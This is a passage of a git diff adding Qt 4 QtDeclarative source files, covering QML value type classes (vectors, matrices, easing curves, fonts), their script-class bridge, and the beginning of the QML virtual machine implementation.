+ void setX(int);
+ void setY(int);
+
+ int width() const;
+ int height() const;
+ void setWidth(int);
+ void setHeight(int);
+
+private:
+ QRect rect;
+};
+
+class Q_AUTOTEST_EXPORT QDeclarativeVector2DValueType : public QDeclarativeValueType
+{
+ Q_PROPERTY(qreal x READ x WRITE setX)
+ Q_PROPERTY(qreal y READ y WRITE setY)
+ Q_OBJECT
+public:
+ QDeclarativeVector2DValueType(QObject *parent = 0);
+
+ virtual void read(QObject *, int);
+ virtual void write(QObject *, int, QDeclarativePropertyPrivate::WriteFlags);
+ virtual QVariant value();
+ virtual void setValue(QVariant value);
+
+ qreal x() const;
+ qreal y() const;
+ void setX(qreal);
+ void setY(qreal);
+
+private:
+ QVector2D vector;
+};
+
+class Q_AUTOTEST_EXPORT QDeclarativeVector3DValueType : public QDeclarativeValueType
+{
+ Q_PROPERTY(qreal x READ x WRITE setX)
+ Q_PROPERTY(qreal y READ y WRITE setY)
+ Q_PROPERTY(qreal z READ z WRITE setZ)
+ Q_OBJECT
+public:
+ QDeclarativeVector3DValueType(QObject *parent = 0);
+
+ virtual void read(QObject *, int);
+ virtual void write(QObject *, int, QDeclarativePropertyPrivate::WriteFlags);
+ virtual QVariant value();
+ virtual void setValue(QVariant value);
+
+ qreal x() const;
+ qreal y() const;
+ qreal z() const;
+ void setX(qreal);
+ void setY(qreal);
+ void setZ(qreal);
+
+private:
+ QVector3D vector;
+};
+
+class Q_AUTOTEST_EXPORT QDeclarativeVector4DValueType : public QDeclarativeValueType
+{
+ Q_PROPERTY(qreal x READ x WRITE setX)
+ Q_PROPERTY(qreal y READ y WRITE setY)
+ Q_PROPERTY(qreal z READ z WRITE setZ)
+ Q_PROPERTY(qreal w READ w WRITE setW)
+ Q_OBJECT
+public:
+ QDeclarativeVector4DValueType(QObject *parent = 0);
+
+ virtual void read(QObject *, int);
+ virtual void write(QObject *, int, QDeclarativePropertyPrivate::WriteFlags);
+ virtual QVariant value();
+ virtual void setValue(QVariant value);
+
+ qreal x() const;
+ qreal y() const;
+ qreal z() const;
+ qreal w() const;
+ void setX(qreal);
+ void setY(qreal);
+ void setZ(qreal);
+ void setW(qreal);
+
+private:
+ QVector4D vector;
+};
+
+class Q_AUTOTEST_EXPORT QDeclarativeQuaternionValueType : public QDeclarativeValueType
+{
+ Q_PROPERTY(qreal scalar READ scalar WRITE setScalar)
+ Q_PROPERTY(qreal x READ x WRITE setX)
+ Q_PROPERTY(qreal y READ y WRITE setY)
+ Q_PROPERTY(qreal z READ z WRITE setZ)
+ Q_OBJECT
+public:
+ QDeclarativeQuaternionValueType(QObject *parent = 0);
+
+ virtual void read(QObject *, int);
+ virtual void write(QObject *, int, QDeclarativePropertyPrivate::WriteFlags);
+ virtual QVariant value();
+ virtual void setValue(QVariant value);
+
+ qreal scalar() const;
+ qreal x() const;
+ qreal y() const;
+ qreal z() const;
+ void setScalar(qreal);
+ void setX(qreal);
+ void setY(qreal);
+ void setZ(qreal);
+
+private:
+ QQuaternion quaternion;
+};
+
+class Q_AUTOTEST_EXPORT QDeclarativeMatrix4x4ValueType : public QDeclarativeValueType
+{
+ Q_PROPERTY(qreal m11 READ m11 WRITE setM11)
+ Q_PROPERTY(qreal m12 READ m12 WRITE setM12)
+ Q_PROPERTY(qreal m13 READ m13 WRITE setM13)
+ Q_PROPERTY(qreal m14 READ m14 WRITE setM14)
+ Q_PROPERTY(qreal m21 READ m21 WRITE setM21)
+ Q_PROPERTY(qreal m22 READ m22 WRITE setM22)
+ Q_PROPERTY(qreal m23 READ m23 WRITE setM23)
+ Q_PROPERTY(qreal m24 READ m24 WRITE setM24)
+ Q_PROPERTY(qreal m31 READ m31 WRITE setM31)
+ Q_PROPERTY(qreal m32 READ m32 WRITE setM32)
+ Q_PROPERTY(qreal m33 READ m33 WRITE setM33)
+ Q_PROPERTY(qreal m34 READ m34 WRITE setM34)
+ Q_PROPERTY(qreal m41 READ m41 WRITE setM41)
+ Q_PROPERTY(qreal m42 READ m42 WRITE setM42)
+ Q_PROPERTY(qreal m43 READ m43 WRITE setM43)
+ Q_PROPERTY(qreal m44 READ m44 WRITE setM44)
+ Q_OBJECT
+public:
+ QDeclarativeMatrix4x4ValueType(QObject *parent = 0);
+
+ virtual void read(QObject *, int);
+ virtual void write(QObject *, int, QDeclarativePropertyPrivate::WriteFlags);
+ virtual QVariant value();
+ virtual void setValue(QVariant value);
+
+ qreal m11() const { return matrix(0, 0); }
+ qreal m12() const { return matrix(0, 1); }
+ qreal m13() const { return matrix(0, 2); }
+ qreal m14() const { return matrix(0, 3); }
+ qreal m21() const { return matrix(1, 0); }
+ qreal m22() const { return matrix(1, 1); }
+ qreal m23() const { return matrix(1, 2); }
+ qreal m24() const { return matrix(1, 3); }
+ qreal m31() const { return matrix(2, 0); }
+ qreal m32() const { return matrix(2, 1); }
+ qreal m33() const { return matrix(2, 2); }
+ qreal m34() const { return matrix(2, 3); }
+ qreal m41() const { return matrix(3, 0); }
+ qreal m42() const { return matrix(3, 1); }
+ qreal m43() const { return matrix(3, 2); }
+ qreal m44() const { return matrix(3, 3); }
+
+ void setM11(qreal value) { matrix(0, 0) = value; }
+ void setM12(qreal value) { matrix(0, 1) = value; }
+ void setM13(qreal value) { matrix(0, 2) = value; }
+ void setM14(qreal value) { matrix(0, 3) = value; }
+ void setM21(qreal value) { matrix(1, 0) = value; }
+ void setM22(qreal value) { matrix(1, 1) = value; }
+ void setM23(qreal value) { matrix(1, 2) = value; }
+ void setM24(qreal value) { matrix(1, 3) = value; }
+ void setM31(qreal value) { matrix(2, 0) = value; }
+ void setM32(qreal value) { matrix(2, 1) = value; }
+ void setM33(qreal value) { matrix(2, 2) = value; }
+ void setM34(qreal value) { matrix(2, 3) = value; }
+ void setM41(qreal value) { matrix(3, 0) = value; }
+ void setM42(qreal value) { matrix(3, 1) = value; }
+ void setM43(qreal value) { matrix(3, 2) = value; }
+ void setM44(qreal value) { matrix(3, 3) = value; }
+
+private:
+ QMatrix4x4 matrix;
+};
+
+class Q_AUTOTEST_EXPORT QDeclarativeEasingValueType : public QDeclarativeValueType
+{
+ Q_OBJECT
+ Q_ENUMS(Type)
+
+ Q_PROPERTY(QDeclarativeEasingValueType::Type type READ type WRITE setType)
+ Q_PROPERTY(qreal amplitude READ amplitude WRITE setAmplitude)
+ Q_PROPERTY(qreal overshoot READ overshoot WRITE setOvershoot)
+ Q_PROPERTY(qreal period READ period WRITE setPeriod)
+public:
+ enum Type {
+ Linear = QEasingCurve::Linear,
+ InQuad = QEasingCurve::InQuad, OutQuad = QEasingCurve::OutQuad,
+ InOutQuad = QEasingCurve::InOutQuad, OutInQuad = QEasingCurve::OutInQuad,
+ InCubic = QEasingCurve::InCubic, OutCubic = QEasingCurve::OutCubic,
+ InOutCubic = QEasingCurve::InOutCubic, OutInCubic = QEasingCurve::OutInCubic,
+ InQuart = QEasingCurve::InQuart, OutQuart = QEasingCurve::OutQuart,
+ InOutQuart = QEasingCurve::InOutQuart, OutInQuart = QEasingCurve::OutInQuart,
+ InQuint = QEasingCurve::InQuint, OutQuint = QEasingCurve::OutQuint,
+ InOutQuint = QEasingCurve::InOutQuint, OutInQuint = QEasingCurve::OutInQuint,
+ InSine = QEasingCurve::InSine, OutSine = QEasingCurve::OutSine,
+ InOutSine = QEasingCurve::InOutSine, OutInSine = QEasingCurve::OutInSine,
+ InExpo = QEasingCurve::InExpo, OutExpo = QEasingCurve::OutExpo,
+ InOutExpo = QEasingCurve::InOutExpo, OutInExpo = QEasingCurve::OutInExpo,
+ InCirc = QEasingCurve::InCirc, OutCirc = QEasingCurve::OutCirc,
+ InOutCirc = QEasingCurve::InOutCirc, OutInCirc = QEasingCurve::OutInCirc,
+ InElastic = QEasingCurve::InElastic, OutElastic = QEasingCurve::OutElastic,
+ InOutElastic = QEasingCurve::InOutElastic, OutInElastic = QEasingCurve::OutInElastic,
+ InBack = QEasingCurve::InBack, OutBack = QEasingCurve::OutBack,
+ InOutBack = QEasingCurve::InOutBack, OutInBack = QEasingCurve::OutInBack,
+ InBounce = QEasingCurve::InBounce, OutBounce = QEasingCurve::OutBounce,
+ InOutBounce = QEasingCurve::InOutBounce, OutInBounce = QEasingCurve::OutInBounce,
+ InCurve = QEasingCurve::InCurve, OutCurve = QEasingCurve::OutCurve,
+ SineCurve = QEasingCurve::SineCurve, CosineCurve = QEasingCurve::CosineCurve
+ };
+
+ QDeclarativeEasingValueType(QObject *parent = 0);
+
+ virtual void read(QObject *, int);
+ virtual void write(QObject *, int, QDeclarativePropertyPrivate::WriteFlags);
+ virtual QVariant value();
+ virtual void setValue(QVariant value);
+
+ Type type() const;
+ qreal amplitude() const;
+ qreal overshoot() const;
+ qreal period() const;
+ void setType(Type);
+ void setAmplitude(qreal);
+ void setOvershoot(qreal);
+ void setPeriod(qreal);
+
+private:
+ QEasingCurve easing;
+};
+
+class Q_AUTOTEST_EXPORT QDeclarativeFontValueType : public QDeclarativeValueType
+{
+ Q_OBJECT
+ Q_ENUMS(FontWeight)
+ Q_ENUMS(Capitalization)
+
+ Q_PROPERTY(QString family READ family WRITE setFamily)
+ Q_PROPERTY(bool bold READ bold WRITE setBold)
+ Q_PROPERTY(FontWeight weight READ weight WRITE setWeight)
+ Q_PROPERTY(bool italic READ italic WRITE setItalic)
+ Q_PROPERTY(bool underline READ underline WRITE setUnderline)
+ Q_PROPERTY(bool overline READ overline WRITE setOverline)
+ Q_PROPERTY(bool strikeout READ strikeout WRITE setStrikeout)
+ Q_PROPERTY(qreal pointSize READ pointSize WRITE setPointSize)
+ Q_PROPERTY(int pixelSize READ pixelSize WRITE setPixelSize)
+ Q_PROPERTY(Capitalization capitalization READ capitalization WRITE setCapitalization)
+ Q_PROPERTY(qreal letterSpacing READ letterSpacing WRITE setLetterSpacing)
+ Q_PROPERTY(qreal wordSpacing READ wordSpacing WRITE setWordSpacing)
+
+public:
+ enum FontWeight { Light = QFont::Light,
+ Normal = QFont::Normal,
+ DemiBold = QFont::DemiBold,
+ Bold = QFont::Bold,
+ Black = QFont::Black };
+ enum Capitalization { MixedCase = QFont::MixedCase,
+ AllUppercase = QFont::AllUppercase,
+ AllLowercase = QFont::AllLowercase,
+ SmallCaps = QFont::SmallCaps,
+ Capitalize = QFont::Capitalize };
+
+ QDeclarativeFontValueType(QObject *parent = 0);
+
+ virtual void read(QObject *, int);
+ virtual void write(QObject *, int, QDeclarativePropertyPrivate::WriteFlags);
+ virtual QVariant value();
+ virtual void setValue(QVariant value);
+
+ QString family() const;
+ void setFamily(const QString &);
+
+ bool bold() const;
+ void setBold(bool b);
+
+ FontWeight weight() const;
+ void setWeight(FontWeight);
+
+ bool italic() const;
+ void setItalic(bool b);
+
+ bool underline() const;
+ void setUnderline(bool b);
+
+ bool overline() const;
+ void setOverline(bool b);
+
+ bool strikeout() const;
+ void setStrikeout(bool b);
+
+ qreal pointSize() const;
+ void setPointSize(qreal size);
+
+ int pixelSize() const;
+ void setPixelSize(int size);
+
+ Capitalization capitalization() const;
+ void setCapitalization(Capitalization);
+
+ qreal letterSpacing() const;
+ void setLetterSpacing(qreal spacing);
+
+ qreal wordSpacing() const;
+ void setWordSpacing(qreal spacing);
+
+private:
+ QFont font;
+ bool pixelSizeSet;
+ bool pointSizeSet;
+ mutable QDeclarativeNullableValue<int> dpi;
+};
+
+QT_END_NAMESPACE
+
+#endif // QDECLARATIVEVALUETYPE_P_H
diff --git a/src/declarative/qml/qdeclarativevaluetypescriptclass.cpp b/src/declarative/qml/qdeclarativevaluetypescriptclass.cpp
new file mode 100644
index 00000000..b1d4221d
--- /dev/null
+++ b/src/declarative/qml/qdeclarativevaluetypescriptclass.cpp
@@ -0,0 +1,242 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativevaluetypescriptclass_p.h"
+
+#include "private/qdeclarativebinding_p.h"
+#include "private/qdeclarativeproperty_p.h"
+#include "private/qdeclarativeengine_p.h"
+#include "private/qdeclarativeguard_p.h"
+
+#include <QtScript/qscriptcontextinfo.h>
+
+QT_BEGIN_NAMESPACE
+
+struct QDeclarativeValueTypeObject : public QScriptDeclarativeClass::Object {
+ enum Type { Reference, Copy };
+ QDeclarativeValueTypeObject(Type t) : objectType(t) {}
+ Type objectType;
+ QDeclarativeValueType *type;
+};
+
+struct QDeclarativeValueTypeReference : public QDeclarativeValueTypeObject {
+ QDeclarativeValueTypeReference() : QDeclarativeValueTypeObject(Reference) {}
+ QDeclarativeGuard<QObject> object;
+ int property;
+};
+
+struct QDeclarativeValueTypeCopy : public QDeclarativeValueTypeObject {
+ QDeclarativeValueTypeCopy() : QDeclarativeValueTypeObject(Copy) {}
+ QVariant value;
+};
+
+QDeclarativeValueTypeScriptClass::QDeclarativeValueTypeScriptClass(QDeclarativeEngine *bindEngine)
+: QScriptDeclarativeClass(QDeclarativeEnginePrivate::getScriptEngine(bindEngine)), engine(bindEngine)
+{
+}
+
+QDeclarativeValueTypeScriptClass::~QDeclarativeValueTypeScriptClass()
+{
+}
+
+QScriptValue QDeclarativeValueTypeScriptClass::newObject(QObject *object, int coreIndex, QDeclarativeValueType *type)
+{
+ QDeclarativeValueTypeReference *ref = new QDeclarativeValueTypeReference;
+ ref->type = type;
+ ref->object = object;
+ ref->property = coreIndex;
+ QScriptEngine *scriptEngine = QDeclarativeEnginePrivate::getScriptEngine(engine);
+ return QScriptDeclarativeClass::newObject(scriptEngine, this, ref);
+}
+
+QScriptValue QDeclarativeValueTypeScriptClass::newObject(const QVariant &v, QDeclarativeValueType *type)
+{
+ QDeclarativeValueTypeCopy *copy = new QDeclarativeValueTypeCopy;
+ copy->type = type;
+ copy->value = v;
+ QScriptEngine *scriptEngine = QDeclarativeEnginePrivate::getScriptEngine(engine);
+ return QScriptDeclarativeClass::newObject(scriptEngine, this, copy);
+}
+
+QScriptClass::QueryFlags
+QDeclarativeValueTypeScriptClass::queryProperty(Object *obj, const Identifier &name,
+ QScriptClass::QueryFlags)
+{
+ QDeclarativeValueTypeObject *o = static_cast<QDeclarativeValueTypeObject *>(obj);
+
+ m_lastIndex = -1;
+
+ QByteArray propName = toString(name).toUtf8();
+
+ m_lastIndex = o->type->metaObject()->indexOfProperty(propName.constData());
+ if (m_lastIndex == -1)
+ return 0;
+
+ QScriptClass::QueryFlags rv = 0;
+
+ if (o->objectType == QDeclarativeValueTypeObject::Reference) {
+ QDeclarativeValueTypeReference *ref = static_cast<QDeclarativeValueTypeReference *>(o);
+
+ if (!ref->object)
+ return 0;
+
+ QMetaProperty prop = ref->object->metaObject()->property(m_lastIndex);
+
+ rv = QScriptClass::HandlesReadAccess;
+ if (prop.isWritable())
+ rv |= QScriptClass::HandlesWriteAccess;
+ } else {
+ rv = QScriptClass::HandlesReadAccess | QScriptClass::HandlesWriteAccess;
+ }
+
+ return rv;
+}
+
+QDeclarativeValueTypeScriptClass::Value QDeclarativeValueTypeScriptClass::property(Object *obj, const Identifier &)
+{
+ QDeclarativeValueTypeObject *o = static_cast<QDeclarativeValueTypeObject *>(obj);
+
+ QVariant rv;
+ if (o->objectType == QDeclarativeValueTypeObject::Reference) {
+ QDeclarativeValueTypeReference *ref = static_cast<QDeclarativeValueTypeReference *>(obj);
+
+ QMetaProperty p = ref->type->metaObject()->property(m_lastIndex);
+ ref->type->read(ref->object, ref->property);
+ rv = p.read(ref->type);
+ } else {
+ QDeclarativeValueTypeCopy *copy = static_cast<QDeclarativeValueTypeCopy *>(obj);
+
+ QMetaProperty p = copy->type->metaObject()->property(m_lastIndex);
+ copy->type->setValue(copy->value);
+ rv = p.read(copy->type);
+ }
+
+ QScriptEngine *scriptEngine = QDeclarativeEnginePrivate::getScriptEngine(engine);
+ return Value(scriptEngine, static_cast<QDeclarativeEnginePrivate *>(QObjectPrivate::get(engine))->scriptValueFromVariant(rv));
+}
+
+void QDeclarativeValueTypeScriptClass::setProperty(Object *obj, const Identifier &,
+ const QScriptValue &value)
+{
+ QDeclarativeValueTypeObject *o = static_cast<QDeclarativeValueTypeObject *>(obj);
+
+ QVariant v = QDeclarativeEnginePrivate::get(engine)->scriptValueToVariant(value);
+
+ if (o->objectType == QDeclarativeValueTypeObject::Reference) {
+ QDeclarativeValueTypeReference *ref = static_cast<QDeclarativeValueTypeReference *>(obj);
+
+ ref->type->read(ref->object, ref->property);
+ QMetaProperty p = ref->type->metaObject()->property(m_lastIndex);
+
+ QDeclarativeBinding *newBinding = 0;
+ if (value.isFunction() && !value.isRegExp()) {
+ QDeclarativeContextData *ctxt = QDeclarativeEnginePrivate::get(engine)->getContext(context());
+
+ QDeclarativePropertyCache::Data cacheData;
+ cacheData.flags = QDeclarativePropertyCache::Data::IsWritable;
+ cacheData.propType = ref->object->metaObject()->property(ref->property).userType();
+ cacheData.coreIndex = ref->property;
+
+ QDeclarativePropertyCache::ValueTypeData valueTypeData;
+ valueTypeData.valueTypeCoreIdx = m_lastIndex;
+ valueTypeData.valueTypePropType = p.userType();
+
+ newBinding = new QDeclarativeBinding(value, ref->object, ctxt);
+ QScriptContextInfo ctxtInfo(context());
+ newBinding->setSourceLocation(ctxtInfo.fileName(), ctxtInfo.functionStartLineNumber());
+ QDeclarativeProperty prop = QDeclarativePropertyPrivate::restore(cacheData, valueTypeData, ref->object, ctxt);
+ newBinding->setTarget(prop);
+ if (newBinding->expression().contains(QLatin1String("this")))
+ newBinding->setEvaluateFlags(newBinding->evaluateFlags() | QDeclarativeBinding::RequiresThisObject);
+ }
+
+ QDeclarativeAbstractBinding *delBinding =
+ QDeclarativePropertyPrivate::setBinding(ref->object, ref->property, m_lastIndex, newBinding);
+ if (delBinding)
+ delBinding->destroy();
+
+ if (p.isEnumType() && (QMetaType::Type)v.type() == QMetaType::Double)
+ v = v.toInt();
+ p.write(ref->type, v);
+ ref->type->write(ref->object, ref->property, 0);
+
+ } else {
+ QDeclarativeValueTypeCopy *copy = static_cast<QDeclarativeValueTypeCopy *>(obj);
+ copy->type->setValue(copy->value);
+ QMetaProperty p = copy->type->metaObject()->property(m_lastIndex);
+ p.write(copy->type, v);
+ copy->value = copy->type->value();
+ }
+}
+
+QVariant QDeclarativeValueTypeScriptClass::toVariant(Object *obj, bool *ok)
+{
+ QDeclarativeValueTypeObject *o = static_cast<QDeclarativeValueTypeObject *>(obj);
+
+ if (o->objectType == QDeclarativeValueTypeObject::Reference) {
+ QDeclarativeValueTypeReference *ref = static_cast<QDeclarativeValueTypeReference *>(obj);
+
+ if (ok) *ok = true;
+
+ if (ref->object) {
+ ref->type->read(ref->object, ref->property);
+ return ref->type->value();
+ }
+ } else {
+ QDeclarativeValueTypeCopy *copy = static_cast<QDeclarativeValueTypeCopy *>(obj);
+
+ if (ok) *ok = true;
+
+ return copy->value;
+ }
+
+ return QVariant();
+}
+
+QVariant QDeclarativeValueTypeScriptClass::toVariant(const QScriptValue &value)
+{
+ Q_ASSERT(scriptClass(value) == this);
+
+ return toVariant(object(value), 0);
+}
+
+QT_END_NAMESPACE
+
diff --git a/src/declarative/qml/qdeclarativevaluetypescriptclass_p.h b/src/declarative/qml/qdeclarativevaluetypescriptclass_p.h
new file mode 100644
index 00000000..781b7711
--- /dev/null
+++ b/src/declarative/qml/qdeclarativevaluetypescriptclass_p.h
@@ -0,0 +1,87 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEVALUETYPESCRIPTCLASS_P_H
+#define QDECLARATIVEVALUETYPESCRIPTCLASS_P_H
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+
+#include <private/qscriptdeclarativeclass_p.h>
+
+QT_BEGIN_NAMESPACE
+
+class QDeclarativeEngine;
+class QDeclarativeValueType;
+class QDeclarativeValueTypeScriptClass : public QScriptDeclarativeClass
+{
+public:
+ QDeclarativeValueTypeScriptClass(QDeclarativeEngine *);
+ ~QDeclarativeValueTypeScriptClass();
+
+ QScriptValue newObject(QObject *object, int coreIndex, QDeclarativeValueType *);
+ QScriptValue newObject(const QVariant &, QDeclarativeValueType *);
+
+ virtual QScriptClass::QueryFlags queryProperty(Object *, const Identifier &,
+ QScriptClass::QueryFlags flags);
+ virtual Value property(Object *, const Identifier &);
+ virtual void setProperty(Object *, const Identifier &name, const QScriptValue &);
+
+ virtual QVariant toVariant(Object *, bool *ok = 0);
+ QVariant toVariant(const QScriptValue &);
+private:
+ QDeclarativeEngine *engine;
+ int m_lastIndex;
+};
+
+QT_END_NAMESPACE
+
+#endif // QDECLARATIVEVALUETYPESCRIPTCLASS_P_H
+
diff --git a/src/declarative/qml/qdeclarativevme.cpp b/src/declarative/qml/qdeclarativevme.cpp
new file mode 100644
index 00000000..59c9d2bc
--- /dev/null
+++ b/src/declarative/qml/qdeclarativevme.cpp
@@ -0,0 +1,1124 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativevme_p.h"
+
+#include "private/qdeclarativecompiler_p.h"
+#include "private/qdeclarativeboundsignal_p.h"
+#include "private/qdeclarativestringconverters_p.h"
+#include "private/qmetaobjectbuilder_p.h"
+#include "private/qdeclarativedata_p.h"
+#include "qdeclarative.h"
+#include "private/qdeclarativecustomparser_p.h"
+#include "qdeclarativeengine.h"
+#include "qdeclarativecontext.h"
+#include "qdeclarativecomponent.h"
+#include "private/qdeclarativebinding_p.h"
+#include "private/qdeclarativeengine_p.h"
+#include "private/qdeclarativecomponent_p.h"
+#include "private/qdeclarativevmemetaobject_p.h"
+#include "private/qdeclarativebinding_p_p.h"
+#include "private/qdeclarativecontext_p.h"
+#include "private/qdeclarativecompiledbindings_p.h"
+#include "private/qdeclarativeglobal_p.h"
+#include "qdeclarativescriptstring.h"
+
+#include <QStack>
+#include <QWidget>
+#include <QColor>
+#include <QPointF>
+#include <QSizeF>
+#include <QRectF>
+#include <QtCore/qdebug.h>
+#include <QtCore/qvarlengtharray.h>
+#include <QtCore/qcoreapplication.h>
+#include <QtCore/qdatetime.h>
+
+QT_BEGIN_NAMESPACE
+
+// A simple stack wrapper around QVarLengthArray
+template<typename T>
+class QDeclarativeVMEStack : private QVarLengthArray<T, 128>
+{
+private:
+ typedef QVarLengthArray<T, 128> VLA;
+ int _index;
+
+public:
+ inline QDeclarativeVMEStack();
+ inline bool isEmpty() const;
+ inline const T &top() const;
+ inline void push(const T &o);
+ inline T pop();
+ inline int count() const;
+ inline const T &at(int index) const;
+};
+
+// We do this so we can forward declare the type in the qdeclarativevme_p.h header
+class QDeclarativeVMEObjectStack : public QDeclarativeVMEStack<QObject *> {};
+
+QDeclarativeVME::QDeclarativeVME()
+{
+}
+
+#define VME_EXCEPTION(desc) \
+ { \
+ QDeclarativeError error; \
+ error.setDescription(desc.trimmed()); \
+ error.setLine(instr.line); \
+ error.setUrl(comp->url); \
+ vmeErrors << error; \
+ break; \
+ }
+
+struct ListInstance
+{
+ ListInstance()
+ : type(0) {}
+ ListInstance(int t)
+ : type(t) {}
+
+ int type;
+ QDeclarativeListProperty<void> qListProperty;
+};
+
+Q_DECLARE_TYPEINFO(ListInstance, Q_PRIMITIVE_TYPE | Q_MOVABLE_TYPE);
+
+QObject *QDeclarativeVME::run(QDeclarativeContextData *ctxt, QDeclarativeCompiledData *comp,
+ int start, int count, const QBitField &bindingSkipList)
+{
+ QDeclarativeVMEObjectStack stack;
+
+ if (start == -1) start = 0;
+ if (count == -1) count = comp->bytecode.count();
+
+ return run(stack, ctxt, comp, start, count, bindingSkipList);
+}
+
+void QDeclarativeVME::runDeferred(QObject *object)
+{
+ QDeclarativeData *data = QDeclarativeData::get(object);
+
+ if (!data || !data->context || !data->deferredComponent)
+ return;
+
+ QDeclarativeContextData *ctxt = data->context;
+ QDeclarativeCompiledData *comp = data->deferredComponent;
+ int start = data->deferredIdx + 1;
+ int count = data->deferredComponent->bytecode.at(data->deferredIdx).defer.deferCount;
+ QDeclarativeVMEObjectStack stack;
+ stack.push(object);
+
+ run(stack, ctxt, comp, start, count, QBitField());
+}
+
+inline bool fastHasBinding(QObject *o, int index)
+{
+ QDeclarativeData *ddata = static_cast<QDeclarativeData *>(QObjectPrivate::get(o)->declarativeData);
+
+ return ddata && (ddata->bindingBitsSize > index) &&
+ (ddata->bindingBits[index / 32] & (1 << (index % 32)));
+}
+
+static void removeBindingOnProperty(QObject *o, int index)
+{
+ QDeclarativeAbstractBinding *binding = QDeclarativePropertyPrivate::setBinding(o, index, -1, 0);
+ if (binding) binding->destroy();
+}
+
+#define CLEAN_PROPERTY(o, index) if (fastHasBinding(o, index)) removeBindingOnProperty(o, index)
+
+QObject *QDeclarativeVME::run(QDeclarativeVMEObjectStack &stack,
+ QDeclarativeContextData *ctxt,
+ QDeclarativeCompiledData *comp,
+ int start, int count,
+ const QBitField &bindingSkipList)
+{
+ Q_ASSERT(comp);
+ Q_ASSERT(ctxt);
+ const QList<QDeclarativeCompiledData::TypeReference> &types = comp->types;
+ const QList<QString> &primitives = comp->primitives;
+ const QList<QByteArray> &datas = comp->datas;
+ const QList<QDeclarativeCompiledData::CustomTypeData> &customTypeData = comp->customTypeData;
+ const QList<int> &intData = comp->intData;
+ const QList<float> &floatData = comp->floatData;
+ const QList<QDeclarativePropertyCache *> &propertyCaches = comp->propertyCaches;
+ const QList<QDeclarativeParser::Object::ScriptBlock> &scripts = comp->scripts;
+ const QList<QUrl> &urls = comp->urls;
+
+ QDeclarativeEnginePrivate::SimpleList<QDeclarativeAbstractBinding> bindValues;
+ QDeclarativeEnginePrivate::SimpleList<QDeclarativeParserStatus> parserStatus;
+
+ QDeclarativeVMEStack<ListInstance> qliststack;
+
+ vmeErrors.clear();
+ QDeclarativeEnginePrivate *ep = QDeclarativeEnginePrivate::get(ctxt->engine);
+
+ int status = -1; //for dbus
+ QDeclarativePropertyPrivate::WriteFlags flags = QDeclarativePropertyPrivate::BypassInterceptor |
+ QDeclarativePropertyPrivate::RemoveBindingOnAliasWrite;
+
